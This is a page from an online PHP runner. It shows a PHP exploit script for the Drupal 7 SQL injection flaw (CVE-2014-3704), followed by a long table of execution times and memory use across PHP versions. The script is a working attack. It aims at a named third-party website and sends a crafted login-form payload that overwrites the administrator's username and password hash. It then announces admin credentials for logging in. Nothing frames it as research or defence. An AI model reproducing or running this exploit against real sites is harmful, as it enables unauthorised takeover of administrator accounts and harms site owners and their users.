3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://www.cis.edu.pk/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0100.01018.93
8.3.60.0150.00718.93
8.3.50.0140.00622.10
8.3.40.0130.00319.17
8.3.30.0110.00319.47
8.3.20.0050.00320.54
8.3.10.0080.00023.86
8.3.00.0040.00419.63
8.2.180.0150.00418.41
8.2.170.0060.00922.96
8.2.160.0030.01220.56
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0000.00722.32
8.2.110.0100.00019.43
8.2.100.0060.00617.84
8.2.90.0000.00819.46
8.2.80.0030.00518.00
8.2.70.0090.00017.88
8.2.60.0090.00318.18
8.2.50.0050.00518.07
8.2.40.0040.00418.47
8.2.30.0000.00918.21
8.2.20.0000.00818.02
8.2.10.0070.00018.33
8.2.00.0080.00018.07
8.1.280.0090.00925.92
8.1.270.0040.00422.28
8.1.260.0080.00026.35
8.1.250.0050.00328.09
8.1.240.0070.00321.38
8.1.230.0120.00017.77
8.1.220.0000.00817.91
8.1.210.0000.00818.77
8.1.200.0030.00617.35
8.1.190.0030.00517.48
8.1.180.0030.00618.10
8.1.170.0000.00820.61
8.1.160.0080.00022.26
8.1.150.0030.00519.06
8.1.140.0080.00017.66
8.1.130.0000.00818.04
8.1.120.0070.00017.70
8.1.110.0030.00517.57
8.1.100.0020.00517.50
8.1.90.0030.00617.66
8.1.80.0040.00417.68
8.1.70.0070.00017.58
8.1.60.0060.00317.71
8.1.50.0080.00017.63
8.1.40.0000.00817.66
8.1.30.0080.00017.70
8.1.20.0080.00017.71
8.1.10.0040.00417.80
8.1.00.0030.00617.77
8.0.300.0000.01218.77
8.0.290.0030.00617.13
8.0.280.0040.00418.59
8.0.270.0040.00417.49
8.0.260.0040.00417.48
8.0.250.0030.00317.18
8.0.240.0000.00817.22
8.0.230.0000.00717.20
8.0.220.0070.00017.25
8.0.210.0000.00717.15
8.0.200.0070.00017.16
8.0.190.0040.00417.21
8.0.180.0030.00517.07
8.0.170.0040.00417.07
8.0.160.0050.00217.16
8.0.150.0000.00717.06
8.0.140.0040.00417.11
8.0.130.0060.00013.75
8.0.120.0060.00317.34
8.0.110.0040.00417.23
8.0.100.0000.00717.16
8.0.90.0040.00417.08
8.0.80.0070.01017.20
8.0.70.0040.00417.24
8.0.60.0040.00417.05
8.0.50.0050.00317.25
8.0.30.0080.01317.38
8.0.20.0130.01417.48
8.0.10.0000.00817.32
8.0.00.0100.00916.98
7.4.330.0050.00315.02
7.4.320.0030.00316.73
7.4.300.0000.00616.63
7.4.290.0000.00816.65
7.4.280.0040.00416.65
7.4.270.0070.00016.62
7.4.260.0050.00216.74
7.4.250.0000.00816.73
7.4.240.0040.00416.83
7.4.230.0030.00316.62
7.4.220.0150.00916.79
7.4.210.0040.01816.82
7.4.200.0020.00516.71
7.4.160.0060.01516.87
7.4.150.0150.00617.40
7.4.140.0150.00717.86
7.4.130.0110.00816.74
7.4.120.0110.00716.80
7.4.110.0120.01216.64
7.4.100.0080.01116.88
7.4.90.0050.01416.77
7.4.80.0000.01719.39
7.4.70.0110.01216.57
7.4.60.0130.00316.94
7.4.50.0030.00616.88
7.4.40.0030.01616.67
7.4.30.0140.00416.52
7.4.00.0070.01114.83
7.3.330.0000.00613.62
7.3.320.0060.00013.70
7.3.310.0040.00416.62
7.3.300.0030.00316.71
7.3.290.0070.00716.70
7.3.280.0080.01016.70
7.3.270.0180.00617.40
7.3.260.0140.00416.59
7.3.250.0100.00816.73
7.3.240.0130.00516.65
7.3.230.0100.01016.61
7.3.210.0150.00316.82
7.3.200.0200.00319.39
7.3.190.0060.01116.81
7.3.180.0040.01516.70
7.3.170.0030.01316.74
7.3.160.0080.00816.67
7.2.330.0070.01116.85
7.2.320.0120.00617.04
7.2.310.0060.01416.88
7.2.300.0140.00317.10
7.2.290.0130.00616.76
7.2.60.0080.00516.88
7.2.00.0030.01119.74
7.1.200.0070.00016.24
7.1.100.0040.00818.80
7.1.70.0060.00617.67
7.1.60.0130.01319.32
7.1.50.0180.00717.45
7.1.00.0030.08022.66
7.0.200.0030.00717.23
7.0.140.0030.07322.33
7.0.60.0130.05020.46
7.0.50.0230.07018.13
7.0.40.0100.05020.45
7.0.30.0330.07720.49
7.0.20.0170.04020.52
7.0.10.0130.07720.47
7.0.00.0100.04320.49
5.6.280.0070.07321.26
5.6.210.0100.06021.09
5.6.200.0100.08018.48
5.6.190.0070.07321.06
5.6.180.0300.06321.12
5.6.170.0370.08320.86
5.6.160.0170.07320.97
5.6.150.0100.07718.41
5.6.140.0100.06018.65
5.6.130.0030.08018.56
5.6.120.0030.06321.54
5.6.110.0230.07021.34
5.6.100.0100.08321.20
5.6.90.0070.05721.23
5.6.80.0130.07320.67
5.6.70.4430.03720.77
5.5.350.0270.06320.67
5.5.340.0000.05718.37
5.5.330.0100.08020.95
5.5.320.0270.04720.65
5.5.310.0200.08720.66
5.5.300.0070.08018.46
5.5.290.0070.08018.25
5.5.280.0200.04020.98
5.5.270.0130.08021.05
5.5.260.0070.08021.24
5.5.250.0070.08321.09
5.5.240.0300.06720.68
5.4.450.0570.06319.71
5.4.440.0170.06319.81
5.4.430.0070.06319.86
5.4.420.0170.05319.79
5.4.410.0470.06019.50
5.4.400.0530.06019.54
5.4.390.0230.04319.54
5.4.380.0800.05019.51
5.4.370.0430.06019.54
5.4.360.0700.04319.32
5.4.350.0930.06319.22
5.4.340.0100.03112.19
5.4.320.0040.03912.68
5.4.310.0050.04412.68
5.4.300.0060.03712.68
5.4.290.0070.03812.68
5.4.280.0090.03612.57
5.4.270.0070.03712.58
5.4.260.0070.03912.58
5.4.250.0080.04212.58
5.4.240.0050.04212.57
5.4.230.0080.03612.57
5.4.220.0060.03612.57
5.4.210.0110.03312.57
5.4.200.0070.03812.57
5.4.190.0080.03912.56
5.4.180.0050.03712.57
5.4.170.0050.03712.57
5.4.160.0040.03712.57
5.4.150.0060.03912.57
5.4.140.0120.03512.25
5.4.130.0080.03712.23
5.4.120.0070.03812.19
5.4.110.0060.03612.19
5.4.100.0060.03612.19
5.4.90.0090.03612.19
5.4.80.0060.04912.19
5.4.70.0070.03512.19
5.4.60.0090.03412.19
5.4.50.0050.04012.19
5.4.40.0090.03212.18
5.4.30.0070.03712.17
5.4.20.0040.04012.18
5.4.10.0120.03412.18
5.4.00.0050.03911.66
5.3.290.0120.04012.89
5.3.280.0070.04012.81
5.3.270.0070.04212.83
5.3.260.0090.04512.83
5.3.250.0120.04312.82
5.3.240.0100.03912.82
5.3.230.0070.05012.82
5.3.220.0080.03712.79
5.3.210.0070.05512.79
5.3.200.0080.03712.79
5.3.190.0070.03812.79
5.3.180.0060.03812.78
5.3.170.0070.04112.79
5.3.160.0070.03912.79
5.3.150.0050.04212.79
5.3.140.0050.05012.78
5.3.130.0100.03612.77
5.3.120.0060.04112.77
5.3.110.0110.04312.77
5.3.100.0070.04212.25
5.3.90.0050.04312.24
5.3.80.0110.05312.23
5.3.70.0050.04112.23
5.3.60.0090.03712.22
5.3.50.0120.04312.16
5.3.40.0090.03912.16
5.3.30.0070.04112.13
5.3.20.0050.04211.91
5.3.10.0090.03511.88
5.3.00.0060.04711.85
5.2.170.0050.0319.36
5.2.160.0080.0359.36
5.2.150.0030.0459.36
5.2.140.0040.0329.36
5.2.130.0030.0309.32
5.2.120.0070.0269.32
5.2.110.0040.0299.33
5.2.100.0050.0289.32
5.2.90.0080.0299.32
5.2.80.0020.0339.32
5.2.70.0050.0309.32
5.2.60.0030.0319.27
5.2.50.0040.0319.23
5.2.40.0050.0299.20
5.2.30.0050.0399.19
5.2.20.0060.0279.18
5.2.10.0050.0279.08
5.2.00.0070.0278.93
5.1.60.0060.0228.22
5.1.50.0050.0258.22
5.1.40.0030.0258.20
5.1.30.0070.0238.55
5.1.20.0040.0308.57
5.1.10.0040.0288.30
5.1.00.0030.0328.30
5.0.50.0030.0226.79
5.0.40.0020.0216.65
5.0.30.0060.0286.46
5.0.20.0050.0176.40
5.0.10.0070.0176.38
5.0.00.0050.0336.37
4.4.90.0040.0174.78
4.4.80.0030.0144.76
4.4.70.0010.0174.75
4.4.60.0050.0134.75
4.4.50.0030.0154.77
4.4.40.0020.0264.71
4.4.30.0010.0174.76
4.4.20.0020.0164.85
4.4.10.0020.0174.85
4.4.00.0040.0284.76
4.3.110.0030.0164.67
4.3.100.0030.0214.67
4.3.90.0040.0184.63
4.3.80.0030.0264.59
4.3.70.0040.0134.63
4.3.60.0030.0154.63
4.3.50.0020.0164.63
4.3.40.0060.0304.54
4.3.30.0040.0153.30
4.3.20.0030.0153.29
4.3.10.0010.0213.23
4.3.00.0100.0206.89

preferences:
42.87 ms | 401 KiB | 5 Q